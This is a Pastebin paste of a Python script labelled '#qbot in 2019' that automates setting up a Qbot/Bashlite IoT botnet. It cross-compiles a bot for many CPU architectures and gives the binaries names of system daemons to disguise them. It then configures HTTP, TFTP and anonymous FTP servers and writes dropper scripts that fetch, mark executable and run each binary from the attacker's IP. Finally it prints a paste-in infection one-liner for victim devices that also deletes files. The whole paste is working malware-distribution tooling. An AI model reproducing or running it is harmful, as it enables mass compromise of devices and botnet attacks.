Advertisement
Guest User

Untitled

a guest
Apr 18th, 2019
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.10 KB | None | 0 0
  1. #qbot in 2019
  2.  
  3. import subprocess, sys
  4.  
  5. if len(sys.argv[2]) != 0:
  6. ip = sys.argv[2]
  7. else:
  8. print("\x1b[0;31mIncorrect Usage!")
  9. print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  10. exit(1)
  11.  
  12. bot = sys.argv[1]
  13.  
  14. yourafag = raw_input("Get arch's? Y/n:")
  15. if yourafag.lower() == "y":
  16. get_arch = True
  17. else:
  18. get_arch = False
  19.  
  20. compileas = ["ntpd", #mips
  21. "sshd", #mipsel
  22. "openssh", #sh4
  23. "bash", #x86
  24. "tftp", #Armv6l
  25. "wget", #i686
  26. "cron", #ppc
  27. "ftp", #i586
  28. "pftp", #m68k
  29. "sh",
  30. "' '",
  31. "apache2",
  32. "telnetd"]
  33.  
  34. getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  35. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  36. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  37. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  38. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  39. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  40. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  41. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  42. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  43. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  44. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  45. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
  46. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
  47.  
  48. ccs = ["cross-compiler-mips",
  49. "cross-compiler-mipsel",
  50. "cross-compiler-sh4",
  51. "cross-compiler-x86_64",
  52. "cross-compiler-armv6l",
  53. "cross-compiler-i686",
  54. "cross-compiler-powerpc",
  55. "cross-compiler-i586",
  56. "cross-compiler-m68k",
  57. "cross-compiler-sparc",
  58. "cross-compiler-armv4l",
  59. "cross-compiler-armv5l",
  60. "cross-compiler-powerpc-440fp"]
  61.  
  62. def run(cmd):
  63. subprocess.call(cmd, shell=True)
  64.  
  65. run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")
  66.  
  67. if get_arch == True:
  68. run("rm -rf cross-compiler-*")
  69.  
  70. print("Downloading Architectures")
  71.  
  72. for arch in getarch:
  73. run("wget " + arch + " --no-check-certificate >> /dev/null")
  74. run("tar -xvf *tar.bz2")
  75. run("rm -rf *tar.bz2")
  76.  
  77. print("Cross Compilers Downloaded...")
  78.  
  79. num = 0
  80. for cc in ccs:
  81. arch = cc.split("-")[2]
  82. run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")
  83. num += 1
  84.  
  85. print("Cross Compiling Done!")
  86. print("Setting up your httpd and tftp")
  87.  
  88. run("yum install httpd -y")
  89. run("service httpd start")
  90. run("yum install xinetd tftp tftp-server -y")
  91. run("yum install vsftpd -y")
  92. run("service vsftpd start")
  93.  
  94. run('''echo -e "# default: off
  95. # description: The tftp server serves files using the trivial file transfer \
  96. # protocol. The tftp protocol is often used to boot diskless \
  97. # workstations, download configuration files to network-aware printers, \
  98. # and to start the installation process for some operating systems.
  99. service tftp
  100. {
  101. socket_type = dgram
  102. protocol = udp
  103. wait = yes
  104. user = root
  105. server = /usr/sbin/in.tftpd
  106. server_args = -s -c /var/lib/tftpboot
  107. disable = no
  108. per_source = 11
  109. cps = 100 2
  110. flags = IPv4
  111. }
  112. " > /etc/xinetd.d/tftp''')
  113. run("service xinetd start")
  114.  
  115. run('''echo -e "listen=YES
  116. local_enable=NO
  117. anonymous_enable=YES
  118. write_enable=NO
  119. anon_root=/var/ftp
  120. anon_max_rate=2048000
  121. xferlog_enable=YES
  122. listen_address='''+ ip +'''
  123. listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')
  124. run("service vsftpd restart")
  125.  
  126. for i in compileas:
  127. run("cp " + i + " /var/www/html")
  128. run("cp " + i + " /var/ftp")
  129. run("mv " + i + " /var/lib/tftpboot")
  130.  
  131. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')
  132.  
  133. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')
  134.  
  135. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')
  136.  
  137. run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')
  138.  
  139. run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')
  140.  
  141. run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')
  142.  
  143. run('echo -e "#!/bin/bash" > /var/www/html/bins.sh')
  144.  
  145. for i in compileas:
  146. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/bins.sh')
  147. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')
  148. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')
  149. run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')
  150.  
  151. run("service xinetd restart")
  152. run("service httpd restart")
  153. run('echo -e "ulimit -n 99999" >> ~/.bashrc')
  154.  
  155. print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  156. print("\x1b[0;32mYour link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp " + ip + " -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g " + ip + "; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 " + ip + " ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\x1b[0m")
  157. print
  158. print("\x1b[0;32mCoded By Void\x1b[0m")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement